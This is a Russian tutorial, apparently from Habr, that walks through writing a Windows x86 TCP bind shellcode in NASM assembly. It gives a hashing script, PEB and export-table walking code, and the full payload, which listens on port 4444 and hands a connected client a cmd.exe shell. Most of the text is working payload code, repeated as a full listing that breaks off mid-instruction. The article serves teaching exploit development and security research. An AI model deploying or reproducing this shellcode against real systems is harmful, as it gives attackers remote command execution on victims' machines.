Хабрахабр

Пишем шеллкод под Windows на ассемблере

image

В этой статье я хочу показать и подробно объяснить пример создания шеллкода на ассемблере в ОС Windows 7 x86. Не смотря на солидный возраст данной темы, она остаётся актуальной и по сей день: это стартовая точка в написании своих шеллкодов, эксплуатации переполнений буферов, обфускации шеллкодов для сокрытия их от антивирусов, внедрения кода в исполняемый файл (PE Backdooring). В качестве примера я выбрал TCP bind shellcode, т.к. на мой взгляд — это лучший пример, потому что все остальные базовые шеллкоды имеют много общего с ним. Статья будет полезна для специалистов по информационной безопасности, пентестеров, начинающих реверс-инженеров и всем, кто желает разобраться в базовых принципах работы ОС Windows. Плюсом — улучшаются навыки программирования. Начнём, как и всегда, с подготовки.

Подготовка

Для хорошего понимания статьи вам понадобятся:

  • базовые знания ассемблера. В статье код написан на NASM Intel x86;
  • базовые знания системного программирования для ОС Windows или хотя бы Linux.

Поскольку весь код шеллкода будет на ассемблере необходимо определить ряд правил, которых мы будем придерживаться в процессе написания шеллкода:

  • каждая подпрограмма (функция) использует свой стековый фрейм;
  • аргументы функции помещаются в стэк перед адресом возврата из этой функции;
  • перед началом работы функции выделяется необходимое место в памяти для локальных переменных, используемых в функции;
  • результат выполнения функции сохраняем в регистре EAX. Также делают и системные функции Windows.

Это общепринятые правила программирования на ассемблере и по своему опыту добавлю — благодаря им код становится понятнее. Однако ими можно пренебрегать в случаях, когда, например, мало места для написания полноценного шеллкода.

Инструменты

  • Windows 7 x86. Я её установил в качестве гостевой виртуальной ОС;
  • любой отладчик. Мне нравятся ollydbg и immunity debugger;
  • winrepl — программа, что позволяет выполнять инструкции ассемблера в режиме реального времени. Очень помогает, чтобы тестировать малые участки кода;
  • PEview — программа для анализа структуры исполняемых файлов и библиотек. В нашем случае полезна для анализа библиотек: kernel32.dll ws2_32.dll. Во время работы с ней я столкнулся с одним небольшим недостатком — старшие байты адресов функций и библиотек отличаются от адресов этих же функций и библиотек в ходе выполнения инструкций в шеллкоде;
  • компиляторы nasm и gcc для создания исполняемых файлов из кода ассемблера;
  • Любой дистрибутив Linux. Я использовал Ubuntu 20.04 в качестве хостовой ОС. Необходимо для использования утилит: objdump, grep и т.д.

python-скрипт для преобразования имени функции в хэш. Хэш от имени функции необходим для работы алгоритма поиска, который будет рассмотрен далее.

string2hash.py

#!/usr/bin/python# -*- coding: utf-8 -*-# string2hash.py import sys def ROR(data, shift, size=32): shift %= size body = data >> shift remains = (data << (size - shift)) - (body << size) return (body + remains) if len(sys.argv) != 2: print("Enter argument: string") sys.exit(0) word = sys.argv[1]result = 0 for i in word: result = ROR(result, 13) result += ord(i) print(hex(result))

В процессе написания шеллкода я буду кратко описывать аргументы используемых системных функций. Для более подробного изучения возможных значений аргументов можете воспользоваться ссылками на официальную документацию, которые будут даны к каждой функции.

Общий алгоритм шеллкода

По сравнению с созданием шеллкодов в Linux, где нужные нам системные вызовы имеют свои уникальные номера, в Windows дела обстоят несколько сложнее. Во-первых, чтобы вызвать необходимую системную функцию нам необходимо знать её точный адрес в памяти, а поскольку все современные ОС имеют Address Space Layout Randomization (ASLR), то необходимо реализовать алгоритм, который будет находить адреса нужных нам функций без привязки к конкретным адресам. Во-вторых, аргументы функции помещаются не в регистры процессора, а в стэк. Учитывая вышесказанное, общий алгоритм шеллкода будет таким:

  1. Найти адрес kernel32.dll. В этой библиотеке находятся функции, необходимые для дальнейшей работы нашего шеллкода;
  2. Найти адреса функций kernel32.dll: CreateProcessA, LoadLibraryA, ExitProcess, GetProcAddress;
  3. Загрузить в адресное пространство нашего процесса библиотеку ws2_32.dll при помощи LoadLibraryA. Это необходимо, чтобы пользоваться функциями этой библиотеки для работы с сокетами такими как: WSASocketA, bind, listen и т.д.;
  4. Найти адреса функций библиотеки ws2_32.dll: WSAStartup, WSASocketA, bind, listen, accept;
  5. После того, как все необходимые функции найдены, можно приступать к их вызовам:

    — Инициация использования нашим процессом библиотеки Winsock DLL: WSAStartup;
    — Создание сокета: WSASocket;
    — Привязка его к интерфейсу: bind;
    — Перевод созданного сокета в состояние listening;
    — Приём входящего сетевого соединения: accept;
    — Создание процесса командной оболочки cmd.exe для выполнения команд в ОС по сети;
    — Завершение родительского процесса: ExitProcess.

Написание шеллкода

Определение адреса библиотеки kernel32.dll

Для каждого потока (выполнение нашего кода происходит в потоке) в Windows есть структура, в которой хранится информация о процессе, в котором живёт наш поток. Мы можем обратиться за этой информацией. Хорошее объяснение что это за структура можно найти здесь. Адрес kernel32.dll мы можем получить из следующей цепочки:

  1. Из TEB структуры получаем адрес PEB-структуры;
  2. Находим указатель LoaderDataPointer который указывает на другую структуру: PEB_LDR_DATA;
  3. После находим InMemoryOrderModuleList
  4. Находим 2 и 3 вхождения.
  5. После чего получаем адрес kernel32.dll.

Получение адреса kernel32.dll

;=====================================; Find kernel32.dll base; kernel32.dll in high address space; that's why we don't need to xor eax;=====================================find_kernel32: mov eax, [fs:0x30] ; PEB mov eax, [eax + 0x0c] ; PEB->Ldr mov eax, [eax + 0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) mov eax, [eax] ; 2nd Entry mov eax, [eax] ; 3rd Entry mov eax, [eax + 0x10] ; address of kernel32.dll ret

Подобные участки кода удобно анализировать в winrepl'е.

Алгоритм поиска функций

После того как нашли адрес kernel32.dll мы сможем находить адреса функций внутри этой библиотеки. Чтобы лучше понять алгоритм поиска функций в библиотеке нам понадобится PEview. В этой программе открываем C:\Windows\System32\kernel32.dll. Тем, кто хочет более детально разобрать структуру PE (.exe) файлов, рекомендую почитать здесь. Затем в искомой библиотеке (в нашем случае kernel32.dll) находим Offset to New EXE Header:

PEView kernel32.dll — offset to new EXE header

image

После того как нашли нужное смещение, находим адрес EXPORT Table:

PEView kernel32.dll — Export Tables

image

В этой таблице нас будут интересовать следующие значения:

  • адрес Address Table. Она содержит адреса функций библиотеки;
  • адрес Name Pointer Table. Она содержит имена функций библиотеки;
  • адрес Ordinal Table. Она содержит значения, которое используется для подсчёта смещения в таблице Address table;
  • общее количество функций в библиотеке.

PEView kernel32.dll — Image Export Directory: RVA of tables

image

В случае с общим количеством функций есть 2 нюанса. 1-ый нюанс заключается в том, что иногда количество функций, полученное из файла может не совпадать с количеством имён функций самой библиотеки, тогда в нашем алгоритме поиска возникнет исключение и его необходимо обработать. С другой стороны, зная количество функций, мы можем остановить поиск, когда дойдём до 0, таким образом, корректно завершая цикл. 2-ой нюанс в том, что если вы точно уверены в том, что вы найдёте нужную функцию в библиотеке, то вам не нужно знать и использовать общее количество функций. В таком случае необходимо переделать цикл поиска имени функций: не уменьшать счётчик от общего числа функций к 0, а увеличивать на 1 начиная с 0.

При поиске от общего количества функций к 0 в ws2_32.dll у меня возникало исключение, поэтому, можно или использовать системную функцию GetProcAddress, которая позволяет средствами системы получать адрес искомой функции, или переделать алгоритм поиска функций, как описано выше: от 0 и выше.

С учетом вышесказанного, напишем алгоритм, который может искать функции в любой библиотеке. Это полезно в случае, когда нам нужно искать не только в kernel32.dll, но и, например, в ws2_32.dll. Как аргументы мы передаём хэш имени функции (алгоритм хэширования будет рассмотрен чуть позже), и базовый адрес самой библиотеки, в которой будем производить поиск.

Алгоритм поиска адреса функции в библиотеке

;=====================================; Find function name;=====================================; 2 arguments: hash of function name, base of dll;=====================================find_function_name: xor esi, esi ; clear ESI register push ebp ; save old EBP mov ebp, esp ; new stack frame sub esp, 0xc ; 3 local variables: 12 bytes mov ebx, [ebp + 0x0C] ; save <>.dll absolute address in ebx mov ebx, [ebx + 0x3c] ; offset to New EXE Header add ebx, [ebp + 0x0C] ; absolute address to New EXE Header mov ebx, [ebx + 0x78] ; RVA of Export table add ebx, [ebp + 0x0C] ; Absolute address of ; Export table IMAGE_EXPORT_DIRECTORY;=====================================; 0x14 - Number of Functions; 0x1c - Address Table RVA; 0x20 - Name Pointer Table RVA; 0x24 - Ordinal Table RVA;===================================== mov eax, [ebx + 0x1c] ; RVA of Address Table add eax, [ebp + 0x0C] ; Absolute address of Address Table mov [ebp - 0x4], eax ; 1st local variable: base of Address Table mov eax, [ebx + 0x20] ; RVA of Name Pointer Table add eax, [ebp + 0x0C] ; Absolute address of Name Pointer Table mov [ebp - 0x8], eax ; 2nd local variable: base of Name Pointer Table mov eax, [ebx + 0x24] ; RVA of Ordinal Table add eax, [ebp + 0x0C] ; Absolute address of Ordinal table mov [ebp - 0x0C], eax ; 3rd local variable: base of Ordinal table mov ecx, [ebx + 0x14] ; Number of functions mov ebx, [ebp - 0x8] ; place address of Name Pointer Table ;=====================================; Fund function loop;=====================================find_function_loop: jecxz find_function_finished ; if ecx = 0 => end dec ecx ; moving from Number of functions => 0 mov esi, [ebx + 4*ecx] ; get RVA of next function name add esi, [ebp + 0x0C] ; base of function name compute_hash: xor edi, edi xor eax, eaxcompute_hash_again: lodsb ; load char of function name test al, al ; is it end of function name? \0 jz compute_hash_finished ; end ror edi, 0xd ; bitwise shift right add edi, eax jmp compute_hash_againcompute_hash_finished:find_function_compare: cmp edi, [ebp + 0x8] ; compare our hash with calculated jnz find_function_loop;=====================================; Get address of Function;===================================== mov ebx, [ebp - 0x0c] ; get ordinal table base mov cx, [ebx + 2 * ecx] ; extract relative offset of function mov eax, [ebp - 0x4] ; get base of Address table mov eax, [eax + ecx*4] ; get RVA of our function add eax, [ebp + 0x0C] ; get base of our functionfind_function_finished: leave ; mov esp, ebp; pop ebp ret

В начале алгоритма (метка find_function_name) поиска функции очищаем регистр ESI, подготавливаем стековый фрейм, находим все необходимые для нас таблицы и сохраняем их в локальные переменные (код до комментария «Find function loop»).

После чего, начинается цикл поиска функций. Сперва проверяется значение регистра ECX. Если мы прошли всё количество функций, указанных в библиотеке, то поиск завершен (инструкция jecxz find_function_finished). Если нет, то находим имя функции из таблицы Name Pointer Table в соответствии с значением нашего счётчика. Затем, высчитываем хэш для полученного имени. Хэш высчитывается от имени функции с использованием побитового сдвига (метка compute_hash_again).Полученное значение сохранятся в EDI. Когда нашли конец строки, то считаем, что хэш подсчитан и затем сравниваем его с нашим искомым хэшем. Конечно, нам необходимо просчитать хэши нужных нам функций заранее, можно при помощи скрипта, который указан в разделе «Подготовка». Если хэш не совпадает, то мы берём следующую функцию и продолжаем поиск (инструкция jnz find_function_loop). Если же хэш совпал, то по Ordinal Table находим адрес смещения нашей функции в таблице Address Table и затем высчитываем адрес нашей искомой функции (комментарий Get address of Function). Поначалу, шаг с получением смещения из ordinal table мне казался избыточным и я просто находил смещение умножая значение счётчика (в ECX, порядковый номер функции) на 4 (каждые 4 байта для новой функции по таблице). Однако это работало далеко не всегда, переделав алгоритм с использованием ordinal table, мой код стал находить нужные функции всегда. Сохраняем результат в EAX и переходим к написанию основного тела шеллкода.

Тело шеллкода

Когда мы реализовали все необходимые для нас алгоритмы поиска, мы можем приступать к написанию основной части нашего шеллкода.

Общее описание кода шеллкода

_main<сохранение значений регистров, флагов, создание нового стекового фрейма><find kernel32.dll><find function name>start<Выделяем место для локальных переменных.>...

Перед работой нашего шеллкода желательно сохранить данные регистров и флагов, которые были до начала работы, эта практика поможет нам при внедрении нашего кода в тело другой программы. Локальные переменные для шеллкода выглядят следующим образом:

Описание локальных переменных

start: sub esp, 0x28 ; 40 bytes = 10 local variables ; 0x4 CreateProcessA ; 0x8 LoadLibraryA ; 0x0C ExitProcess ; 0x10 GetProcAddress ; 0x14 ws2_32.dll ; 0x18 WSAStartup ; 0x1c WSASocketA ; 0x20 bind ; 0x24 listen ; 0x28 accept

После чего находим адреса функций:

Поиск адресов функций

;=====================================; Find addresses of functions in kernel32.dll;===================================== call find_kernel32 ; find kernel32.dll push eax ; save address of kernel32.dll ; CreateProcessA push 0x16b3fe72 ; hash of CreateProcessA call find_function_name ; в eax получаем return mov [ebp - 0x4], eax ; place into local address of CreateProcessA ; LoadLibraryA mov eax, 0xec0e4e8e ; hash of LoadLibrary mov [esp], eax ; argument to find_function_name call find_function_name ; find LoadLibraryA in kernel32.dll mov [ebp - 0x8], eax ; save LoadLibrary address ; ExitProcess mov eax, 0x73e2d87e ; hash of Exit Process mov [esp], eax ; argument to find_function_name call find_function_name ; find ExitProcess in kernel32.dll mov [ebp - 0x0C], eax ; save ExitProcess address ; GetProcAddress 0x7c0dfcaa mov eax, 0x7c0dfcaa ; hash of GetProcAddress mov [esp], eax ; argument to find_function_name call find_function_name ; find GetProcAddress in kernel32.dll mov [ebp - 0x10], eax ; save GetProcAddress address

  • CreateProcessA — нужна для создания процесса cmd.exe.
  • LoadLibraryA — нужна для загрузки в адресное пространство нашего процесса библиотеки ws2_32.dll. Функции сокетов находятся в ней. Без вызова этой функции с параметром ws2_32.dll мы не сможем пользоваться функциями сокетов.
  • ExitProcess — нужна для выхода из родительского процесса
  • GetProcAddress — нужна, чтобы средставми ОС находить адреса нужных нам функций и библиотек.

GetProcAddress позволяет находить адрес нужной функции без алгоритма поиска. Благодаря этой функции можно просто передавать необходимые ей аргументы, вызывать её и получать результат в EAX.

После чего вызываем LoadLibraryA со строкой ws2_32.dll в качестве аргумента. Данная функция принимает 1 аргумент — указатель на строку с именем библиотеки. В нашем случае указатель на ws2_32.dll.

Загрузка модуля ws2_32.dll

;=====================================; Load ws2_32.dll;===================================== push 0x00003233 ; 32.dll push 0x5f327377 ; ws2_ mov ebx, esp ; place address in ebx push ebx ; pointer to string library call [ebp - 0x8] ; call LoadLibraryA mov [ebp - 0x14], eax ; save address of ws2_32.dll

Затем находим адреса функций:

WSAStartup
WSASocketA
bind
listen
accept

Поиск функций осуществляется при помощи GetProcAddress.

Аргументы GetProcAddress:
HMODULE hModule, — адрес библиотеки в которой ищем функцию, т.е. адрес ws2_32.dll
LPCSTR lpProcName — указатель на имя функции. При каждом вызове создаём новый указатель на строку с именем искомой функции.

Поиск функций библиотеки ws2_32.dll

;=====================================; Find WSAStartup;===================================== push 0x00007075 ; Push WSAStartup push 0x74726174 push 0x53415357 mov ebx, esp push ebx ; pushed pointer to WSAStartup mov eax, [ebp - 0x14] ; address of ws2_32.dll push eax call [ebp - 0x10] ; call GetProcAddress mov [ebp - 0x18], eax ; save address of WSAStartup ;=====================================; Find WSASocketA;===================================== push 0x00004174 ; push WSASocketA push 0x656b636f push 0x53415357 mov ebx, esp push ebx ; pointer to string function -> WSASocketA mov eax, [ebp - 0x14] ; address of ws2_32.dll push eax ; address of ws2_32.dll to stack call [ebp - 0x10] ; call GetProcAddress mov [ebp - 0x1c], eax ; save address of WSASocketA ;=====================================; Find bind;===================================== xor eax, eax push eax push 0x646e6962 ; push bind mov ebx, esp push ebx mov eax, [ebp - 0x14] ; address of ws2_32.dll push eax ; pointer to address call [ebp - 0x10] ; GetProcAddress mov [ebp - 0x20], eax ; save address of ws2_32.bind ;=====================================; Find listen;===================================== push 0x00006e65 ; listen push 0x7473696c mov ebx, esp push ebx mov eax, [ebp - 0x14] ; address of ws2_32.dll push eax ; pointer to address call [ebp - 0x10] ; GetProcAddress mov [ebp - 0x24], eax ; save address of ws2_32.listen ;=====================================; Find accept;===================================== push 0x00007470 ; accept push 0x65636361 mov ebx, esp push ebx mov eax, [ebp - 0x14] ; address of ws2_32.dll push eax ; pointer to address call [ebp - 0x10] ; GetProcAddress mov [ebp - 0x28], eax ; save address of ws2_32.accept

Теперь необходимо инициализировать Winsock DLL нашим процессом, для использования функций библиотеки ws2_32.dll, таких как: WSASocket, bind, listen, accept. Помним, что аргументы для функций передаются в обратном порядке, поскольку помещаются в стэк. Вызываем WSAStartup.

Аргументы WSAStartup:

WORD wVersionRequired — версия спецификации Windows Sockets. Устанавливаем в 0x00000202;
LPWSADATA lpWSAData — указатель на область памяти, в которую будут записаны детали имплементации Windows Socket. Необходимо создать такую область памяти размером 400 байт (именно такой размер у этой структуры) и отдать указатель на неё.

Вызов WSAStartUP

;=====================================; Call WSAStartup;===================================== xor ecx, ecx mov cx, 400 ; Create space for WSAdata structure. sub esp, ecx mov ebx, esp mov cx, 0x00000202 ; version for WSAstartup push ebx push ecx call [ebp - 0x18] ; Call WSAStartup

Затем создаём сокет WSASocketA.

Аргументы WSASocketA:

int af — спецификация семейства адресов. Будем использовать IPv4, потому указываем 2;
int type — тип сокета. Нас интересует SOCK_STREAM, поскольку хотим использовать TCP — 1;
int protocol — оставляем в 0;
LPWSAPROTOCOL_INFOA lpProtocolInfo — оставляем в 0;
GROUP g — группа сокетов, к которой будет относится созданный сокет. Здесь также оставляем 0;
DWORD dwFlags — нам дополнительные параметры для сокета не нужны, поэтому он равен 0.

После этого вызываем функцию WSASocketA, созданный дескриптор сокета система оставит в EAX, его необходимо сохранить.

Вызов WSASocketA

;=====================================; Create Socket;===================================== xor eax, eax push eax ; dwFlags push eax ; g push eax ; lpProtocolInfo push eax ; protocol inc eax push eax ; type = SOCK_STREAM = 1 inc eax push eax ; af = AF_INET = 2 call [ebp - 0x1c] ; Call WSASocketA mov esi, eax ; save socket descriptor

Следом идёт вызов функции bind.

Её необходимо вызвать для связи созданного сокета с локальным адресом.

Аргументы bind:
SOCKET s, — дескриптор сокета, который мы привязываем к интерфейсу. Мы его положили в ESI;
const sockaddr *addr, — указатель на область памяти, где хранится структура sockaddr. Структуру сначала необходимо заполнить и затем отдать указатель на неё;
int namelen — размер структуры sockaddr, 16 байт.

Вызов bind

;=====================================; Call Bind;===================================== ; creating sockaddr_in structure xor eax, eax push eax ; 0 - all interfaces push WORD 0x5c11 ; 4444 port push WORD 2 ; sin_family = AF_INET = 2 mov ebx, esp ; set pointer to struct sockaddr_in ; placing arguments xor eax, eax mov al, 0x10 ; size of struct sockaddr_in push eax ; Push the namelen argument which has been set to 16. push ebx ; Push the name argument which has been set to the initialized struct sockaddr in on the ; stack. push esi ; socket descriptor call [ebp - 0x20] ; Calling Bind

Затем идёт вызов функции listen. Данная функция переводит сокет в состояние ожидания входящего соединения.

Аргументы listen:

SOCKET s, — дескриптор сокета, который будем переводить в listening. По-прежнему в ESI;
int backlog — максимальная длина очереди ожидающих соединений. В нашем случае не меньше 1.

Вызов listen

;=====================================; Listen;=====================================listen: push 0x10 ; int backlog push esi ; socket call [ebp - 0x24] ; Listen

После того как перевели созданный сокет в состояние listening можем принимать входящие соединения: accept.

Аргументы accept:
SOCKET s, — дескриптор сокета, который ожидает соединение. Снова в ESI;
sockaddr *addr, — указатель на буфер, который принимает информацию о входящем соединении. Структуру заполнять не надо;
int *addrlen — указатель на целочисленное значение длины структуры на которую указывает addr параметр: 16 байт;

Вызов accept

;=====================================; Accept;===================================== xor ebx, ebx ; zero ebx mov ebx, 0x10 ; place size of struct push ebx ; we need pointer to size mov edx, esp ; pointer to size sub esp, ebx ; a place for sockaddr in structure of client mov ecx, esp ; pointer to this place push edx push ecx push esi ; socket descriptor call [ebp - 0x28] ; call accept mov esi, eax ; save client descriptor

Когда к нашему сокету подключится клиент, данная функция вернет целочисленный дескриптор вновь созданного сокета. После того, как приняли входящее соединение, нам необходимо вызвать командную оболочку, чтобы появилась возможность удаленного выполнения команд. Функция, у которой больше всего аргументов — CreateProcessA.

Аргументы:

LPCSTR lpApplicationName — Имя приложения. Для нас не обязателен, 0;
LPSTR lpCommandLine — Имя команда. cmd.exe;
LPSECURITY_ATTRIBUTES lpProcessAttributes — указатель на атрибуты процесса, 0;
LPSECURITY_ATTRIBUTES lpThreadAttributes — указатель на атрибуты потока, 0;
BOOL bInheritHandles — если в TRUE, то создаваемый процесс унаследует дескрипторы от процесса-создателя, 1.
DWORD dwCreationFlags — флаги контроля класса приоритета и создания процесса. Для нас 0.
LPVOID lpEnvironment — указатель на блок окружения для нового процесса. Для нас 0
LPCSTR lpCurrentDirectory — полный путь к текущей директории процесса. Для нас 0
LPSTARTUPINFOA lpStartupInfo — указатель на STARTUPINFO или STARTUPINFOEX структуру.
LPPROCESS_INFORMATION lpProcessInformation — указатель на PROCESS_INFORMATION структуру.

Вызов CreateProcessA

;=====================================; Call cmd.exe;===================================== push 0x657865 push 0x2e646d63 ; cmd.exe mov [ebp - 0x2c], esp xor ecx, ecx ; zero ecx mov cl, 0x54 ; size of STARTUPINFO sub esp, ecx ; allocate space for the two structures mov edi, esp ; set edi to point to STARTUPINFO structure push edi ; Preserve edi on the stack as it will be modified ; by the following instructions xor eax, eax ; Zero eax to for use with stosb to zero ; out the two structures. rep stosb ; Repeat storing zero at the buffer starting at edi ; until ecx is zero. pop edi ; restore edi mov byte [edi], 0x44 ; Set the cb attribute of STARTUPINFO to 0x44 ; (the size of the structure). inc byte [edi + 0x2d] ; dwFlags: Set the STARTF USESTDHANDLES flag ; to indicate that the hStdInput, hStdOutput, ; and hStdError attributes should be used. push edi ;preserve edi again as it will be modified by the stosd mov eax, esi ; place socket descriptor into eax lea edi, [edi + 0x38] ; Load the effective address of the hStdInput ; attribute in the STARTUPINFO structure. stosd ; Set the hStdInput attribute to the file ; descriptor returned from WSASocket. stosd ; Set the hStdOutput attribute to the file ; descriptor returned from WSASocket. stosd ; Set the hStdError attribute to the file ; descriptor returned from WSASocket. pop edi ; Restore edi to its original value xor eax, eax lea esi, [edi + 0x44] ; Load the effective address of ; the PROCESS INFORMATION structure into esi. push esi ; Push the pointer to the lpProcessInformation str-e push edi ; Push the pointer to the lpStartupInfo structure. push eax ; Push the lpStartupDirectory argument as NULL. push eax ; Push the lpEnvironment argument as NULL. push eax ; Push the dwCreationFlags argument as 0. inc eax push eax ; Push the bInheritHandles argument as ; TRUE due to the fact that the ; client needs to inherit the socket file descriptor. dec eax push eax ; Push the lpThreadAttributes argument as NULL. push eax ; Push the lpProcessAttributes argument as NULL. mov eax, [ebp - 0x2c] push eax ; Push the lpCommandLine argument as the pntr to 'cmd’ xor eax, eax push eax ; Push the lpApplicationName argument as NULL. call [ebp - 0x4] ; Call CreateProcessA

И завершаем наш шеллкод завершением родительского процесса.

call [ebp - 0x0C] ; Call ExitProcess ret

Теперь сложим это всё вместе.

Весь шеллкод

global _main section .text_main: pushad pushfd push ebp mov ebp, esp jmp start;=====================================; Find kernel32.dll base; kernel32.dll in high address space; that's why we don't need to xor eax;=====================================find_kernel32: mov eax, [fs:0x30] ; PEB mov eax, [eax + 0x0c] ; PEB->Ldr mov eax, [eax + 0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) mov eax, [eax] ; 2nd Entry mov eax, [eax] ; 3rd Entry mov eax, [eax + 0x10] ; address of kernel32.dll ret;=====================================; Find function name;=====================================; 2 arguments: hash of function name, base of dll;=====================================find_function_name: xor esi, esi ; clear ESI register push ebp ; save old EBP mov ebp, esp ; new stack frame sub esp, 0xc ; 3 local variables: 12 bytes mov ebx, [ebp + 0x0C] ; save <>.dll absolute address in ebx mov ebx, [ebx + 0x3c] ; offset to New EXE Header add ebx, [ebp + 0x0C] ; absolute address to New EXE Header mov ebx, [ebx + 0x78] ; RVA of Export table add ebx, [ebp + 0x0C] ; Absolute address of ; Export table IMAGE_EXPORT_DIRECTORY;=====================================; 0x14 - Number of Functions; 0x1c - Address Table RVA; 0x20 - Name Pointer Table RVA; 0x24 - Ordinal Table RVA;===================================== mov eax, [ebx + 0x1c] ; RVA of Address Table add eax, [ebp + 0x0C] ; Absolute address of Address Table mov [ebp - 0x4], eax ; 1st local variable: base of Address Table mov eax, [ebx + 0x20] ; RVA of Name Pointer Table add eax, [ebp + 0x0C] ; Absolute address of Name Pointer Table mov [ebp - 0x8], eax ; 2nd local variable: base of Name Pointer Table mov eax, [ebx + 0x24] ; RVA of Ordinal Table add eax, [ebp + 0x0C] ; Absolute address of Ordinal table mov [ebp - 0x0C], eax ; 3rd local variable: base of Ordinal table mov ecx, [ebx + 0x14] ; Number of functions mov ebx, [ebp - 0x8] ; place address of Name Pointer Table ;=====================================; Fund function loop;=====================================find_function_loop: jecxz find_function_finished ; if ecx = 0 => end dec ecx ; moving from Number of functions => 0 mov esi, [ebx + 4*ecx] ; get RVA of next function name add esi, [ebp + 0x0C] ; base of function name compute_hash: xor edi, edi xor eax, eaxcompute_hash_again: lodsb ; load char of function name test al, al ; is it end of function name? \0 jz compute_hash_finished ; end ror edi, 0xd ; bitwise shift right add edi, eax jmp compute_hash_againcompute_hash_finished:find_function_compare: cmp edi, [ebp + 0x8] ; compare our hash with calculated jnz find_function_loop;=====================================; Get address of Function;===================================== mov ebx, [ebp - 0x0c] ; get ordinal table base mov cx, [ebx + 2 * ecx] ; extract relative offset of function mov eax, [ebp - 0x4] ; get base of Address table mov eax, [eax + ecx*4] ; get RVA of our function add eax, [ebp + 0x0C] ; get base of our functionfind_function_finished: leave ; mov esp, ebp; pop ebp ret;=====================================; Start;=====================================start: sub esp, 0x28 ; 40 bytes = 10 local variables ; 0x4 CreateProcessA ; 0x8 LoadLibraryA ; 0x0C ExitProcess ; 0x10 GetProcAddress ; 0x14 ws2_32.dll ; 0x18 WSAStartup ; 0x1c WSASocketA ; 0x20 bind ; 0x24 listen ; 0x28 accept;=====================================; Find addresses of functions in kernel32.dll;===================================== call find_kernel32 ; find kernel32.dll push eax ; save address of kernel32.dll ; CreateProcessA push 0x16b3fe72 ; hash of CreateProcessA call find_function_name ; in EAX return value mov [ebp - 0x4], eax ; place into local address of CreateProcessA ; LoadLibraryA mov eax, 0xec0e4e8e ; hash of LoadLibrary mov [esp], eax ; argument to find_function_name call find_function_name ; find LoadLibraryA in kernel32.dll mov [ebp - 0x8], eax ; save LoadLibrary address ; ExitProcess mov eax, 0x73e2d87e ; hash of Exit Process mov [esp], eax ; argument to find_function_name call find_function_name ; find ExitProcess in kernel32.dll mov [ebp - 0x0C], eax ; save ExitProcess address ; GetProcAddress 0x7c0dfcaa mov eax, 0x7c0dfcaa ; hash of GetProcAddress mov [esp], eax ; argument to find_function_name call find_function_name ; find GetProcAddress in kernel32.dll mov [ebp - 0x10], eax ; save GetProcAddress address;=====================================; Load ws2_32.dll;===================================== push 0x00003233 ; 32.dll push 0x5f327377 ; ws2_ mov ebx, esp ; place address in ebx push ebx ; pointer to string library call [ebp - 0x8] ; call LoadLibraryA mov [ebp - 0x14], eax ; save address of ws2_32.dll ;=====================================; Find WSAStartup;===================================== push 0x00007075 ; Push WSAStartup push 0x74726174 push 0x53415357 mov ebx, esp push ebx ; pushed pointer to WSAStartup mov eax, [ebp - 0x14] ; address of ws2_32.dll push eax call [ebp - 0x10] ; call GetProcAddress mov [ebp - 0x18], eax ; save address of WSAStartup ;=====================================; Find WSASocketA;===================================== push 0x00004174 ; push WSASocketA push 0x656b636f push 0x53415357 mov ebx, esp push ebx ; pointer to string function -> WSASocketA mov eax, [ebp - 0x14] ; address of ws2_32.dll push eax ; address of ws2_32.dll to stack call [ebp - 0x10] ; call GetProcAddress mov [ebp - 0x1c], eax ; save address of WSASocketA ;=====================================; Find bind;===================================== xor eax, eax push eax push 0x646e6962 ; push bind mov ebx, esp push ebx mov eax, [ebp - 0x14] ; address of ws2_32.dll push eax ; pointer to address call [ebp - 0x10] ; GetProcAddress mov [ebp - 0x20], eax ; save address of ws2_32.bind ;=====================================; Find listen;===================================== push 0x00006e65 ; listen push 0x7473696c mov ebx, esp push ebx mov eax, [ebp - 0x14] ; address of ws2_32.dll push eax ; pointer to address call [ebp - 0x10] ; GetProcAddress mov [ebp - 0x24], eax ; save address of ws2_32.listen ;=====================================; Find accept;===================================== push 0x00007470 ; accept push 0x65636361 mov ebx, esp push ebx mov eax, [ebp - 0x14] ; address of ws2_32.dll push eax ; pointer to address call [ebp - 0x10] ; GetProcAddress mov [ebp - 0x28], eax ; save address of ws2_32.accept;=====================================; Call WSAStartup;===================================== xor ecx, ecx mov cx, 400 ; Create space for WSAdata structure. sub esp, ecx mov ebx, esp mov cx, 0x00000202 ; version for WSAstartup push ebx push ecx call [ebp - 0x18] ; Call WSAStartup;=====================================; Create Socket;===================================== xor eax, eax push eax ; dwFlags push eax ; g push eax ; lpProtocolInfo push eax ; protocol inc eax push eax ; type = SOCK_STREAM = 1 inc eax push eax ; af = AF_INET = 2 call [ebp - 0x1c] ; Call WSASocketA mov esi, eax ; save socket descriptor ;=====================================; Call Bind;===================================== ; creating sockaddr_in structure xor eax, eax push eax ; 0 - all interfaces push WORD 0x5c11 ; 4444 port push WORD 2 ; sin_family = AF_INET = 2 mov ebx, esp ; set pointer to struct sockaddr_in ; placing arguments xor eax, eax mov al, 0x10 ; size of struct sockaddr_in push eax ; Push the namelen argument which has been set to 16. push ebx ; Push the name argument which has been set to ; the initialized struct sockaddr in on the stack. push esi ; socket descriptor call [ebp - 0x20] ; Calling Bind ;=====================================; Call Listen;=====================================listen: push 0x10 ; int backlog push esi ; socket call [ebp - 0x24] ; Listen;=====================================; Call Accept;===================================== xor ebx, ebx ; zero ebx mov ebx, 0x10 ; place size of struct push ebx ; we need pointer to size mov edx, esp ; pointer to size sub esp, ebx ; a place for sockaddr in structure of client mov ecx, esp ; pointer to this place push edx push ecx push esi ; socket descriptor call [ebp - 0x28] ; call accept mov esi, eax ; save client descriptor ;=====================================; Call cmd.exe;===================================== push 0x657865 push 0x2e646d63 ; cmd.exe mov [ebp - 0x2c], esp xor ecx, ecx ; zero ecx mov cl, 0x54 ; size of STARTUPINFO sub esp, ecx ; allocate space for the two structures mov edi, esp ; set edi to point to STARTUPINFO structure push edi ; Preserve edi on the stack as it will be modified ; by the following instructions xor eax, eax ; Zero eax to for use with stosb to zero ; out the two structures. rep stosb ; Repeat storing zero at the buffer starting at edi ; until ecx is zero. pop edi ; restore eid mov byte [edi], 0x44 ; Set the cb attribute of STARTUPINFO to 0x44 ; (the size of the structure). inc byte [edi + 0x2d] ; dwFlags: Set the STARTF USESTDHANDLES flag ; to indicate that the hStdInput, hStdOutput, ; and hStdError attributes should be used. push edi ;preserve edi again as it will be modified by the stosd mov eax, esi ; place socket descriptor into eax lea edi, [edi + 0x38] ; Load the effective address of the hStdInput ; 